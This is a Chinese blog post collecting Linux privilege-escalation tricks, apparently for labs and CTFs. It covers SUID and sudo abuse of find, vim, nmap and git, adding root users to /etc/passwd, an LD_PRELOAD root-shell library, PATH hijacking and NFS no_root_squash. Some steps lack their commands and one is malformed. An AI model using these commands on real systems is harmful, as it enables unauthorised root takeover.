Linux提权

Saofe1a

Linux提权姿势总结|原创 - FreeBuf网络安全行业门户 (禁用js)

提权后 cd /root

分析是否可以sudo提权一般使用这个方式先进行验证,如果存在可以密码使用的命令,在加以利用
sudo -l

SUID提权

查找SUID文件

1
2
3
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls {} \; 2>/dev/null

具有suid权限的二进制可执行文件有

1
2
3
4
5
6
7
8
9
10
11
nmap
vim
find
bash
more
less
nano
cp
awk
mv
exim 要searchsploit来利用

查找额外的具有suid权限的文件

ls一下看看是否设置了suid权限
ls -al /usr/bin/su

-rwsr-xr-xz中的s代表suid权限,可以看到确实设置了suid权限

设置suid权限
chmod u+s /usr/bin/find

利用find提权

这里的前提都是要有suid权限

find有无suid权限均可

1
2
3
4
5
find 具有suid权限的filename -exec whoami \; -quit
#root
find 具有suid权限的filename -exec /bin/sh -p \; -quit
#whoami
#root

find要有suid权限

1
2
3
touch anyfile #必须要有这个文件
find anyfile -exec whoami \;
find / -exec “/bin/bash” -p ;

利用bash提权


bash -p

nmap提权

1
2
3
TF=$(mktemp)
echo 'os.execute("/bin/sh")' > $TF
sudo nmap --script=$TF

利用vim提权

第一种方式,利用vim添加账号

1
2
3
4
vim /etc/passwd 添加特权用户
添加:bob:x:0:0::/home/bob:/bin/bash
vim /etc/shadow 添加特权用户
bob:$1$salt$638tR8bROOvPnPklDQ9Vf/:19103:0:99999:7::: 密码是123456

第二种,利用vim打开交互shell
vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

rbash环境下提权

1
2
3
4
BASH_CMDS[a]=/bin/sh;a
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin
echo /*

利用vi提权

vi随便打开文件
再下面添加
:set shell=/bin/sh
:shell

python提权

python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

利用git提取

一般情况下是查找SUID文件时,发现了sudo

sudo -l

git是root权限,我们使用git提权

1
2
3
4
5
(我们需要将shell的窗口变窄,使得回显信息不能一页显示)
1、sudo git help config #在末行命令模式输入
!/bin/bash 或 !'sh' #完成提权
2、sudo git -p help
!/bin/bash #输入!/bin/bash,即可打开一个用户为root的shell

Capabilities

getcap -r / 2>/dev/null

如果我们找到已经设置了cap_setuid的命令或者文件,可以通过使用GTFObins  的二进制文件列表来查找信息并尝试提升权限

这将启动一个如下所示的 root shell

既然这里出现了vim,那我们为何不用suid提权呢?

请注意,vim 及其副本并没有设置 SUID 位,因此,在枚举并查找 SUID文件时,无法发现此权限提升向量

sudo提权

利用 LD_PRELOAD

如果启用“env_keep”选项,我们可以生成一个在程序运行之前加载和执行的共享库

此提权攻击向量的步骤可以概括如下:

  1. 检查 LD_PRELOAD(使用 env_keep 选项)
  2. 编写一个简单的 C 代码,编译成共享对象文件(.so 扩展名)
  3. 使用 sudo 权限和指向我们.so 文件的 LD_PRELOAD 选项运行程序

C 代码将简单地启动 root shell,可以写成如下

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}

我们可以将此代码保存为 shell.c,并使用 gcc 编译成共享对象文件

1
gcc -fPIC -shared -o shell.so shell.c -nostartfiles


通过指定 LD_PRELOAD 选项来运行程序
sudo LD_PRELOAD=/home/user/ldpreload/shell.so find
这将导致以 root 权限启动 shell 进程

PATH提权

创建一个文件并将其编译成可执行文件并设置 SUID 位


现在用户可以访问设置了 SUID 位的“path”脚本

执行后,“path”将在 PATH 下列出的文件夹中查找名为“thm”的可执行文件

查看在 PATH变量 下列出的可写文件夹,我们可以在对应目录下创建一个名为 thm 的二进制文件,这样我们在运行“path”脚本时,就会执行到名为thm的二进制文件。 由于设置了 SUID 位,此二进制文件将以 root 权限运行。

可以使用“ find / -writable 2>/dev/null ”命令简单地搜索可写文件夹。可以使用简单的 cut 和排序序列清理此命令的输出

将此与 PATH 进行比较,将帮助我们找到我们可以使用的文件夹

可写子文件夹并不在PATH环境变量中
如果我们想更直接的看到PATH变量下的可写文件夹 可以用

或者find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u

更容易写入的文件夹可能是 /tmp,但是因为 /tmp 不在 PATH环境变量中,所以我们需要添加它。 我们使用export PATH=/tmp:$PATH来完成环境变量添加

当“path”脚本执行时将在 /tmp 文件夹下查找名为“thm”的可执行文件。 我们可以在/tmp 文件夹下创建一个“thm”文件并将其内容设置为/bin/bash

我们已经给/bin/bash 副本也就是thm文件 赋予了可执行权限,请注意此时它将以我们当前用户的权限运行;利用该文件提权的原理是让之前定义的“path”脚本以 root 权限运行,由于“path”脚本已经被设置了SUID位,所以直接执行该脚本即可

NFS提权

NFS(网络文件共享)配置保存在 /etc/exports 文件中,此权限提升向量的关键元素是 no_root_squash选项

默认情况下,NFS 会将 root 用户更改为 nfsnobody,并剥夺任何文件以 root 权限运行的权限。如果可写共享资源上存在 “no_root_squash” 选项,我们可以创建一个设置了 SUID 位的可执行文件,并在目标系统上运行它。
先从目标机中列举可挂载的份额

在本地机上创建共享文件夹,并把它挂载到目标机器上

在本地机上创建nfs.c并写入内容

编译并设置 SUID 位

nfs.c 和 nfs 都存在于目标系统。我们已经处理了挂载的共享,因此没有 需要转移它们

系统漏洞提权

查看发行版信息 cat /etc/*release
查看内核版本的全部信息 cat /proc/version
查看kali本地漏洞库里面的exp searchsploit Ubuntu 16.04

小众的提权方法

teehee提权

sudo -l查看sudo权限

echo "admin::0:0:::/bin/bash" | sudo teehee -a /etc/passwd创建一个没有密码的admin用户,并赋予该用户root权限,进入的时候运行/bin/bash
su admin

  • Title: Linux提权
  • Author: Saofe1a
  • Created at : 2025-04-07 10:54:06
  • Updated at : 2025-04-07 10:51:55
  • Link: https://saofeia.github.io/2025/04/07/Linux提权/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments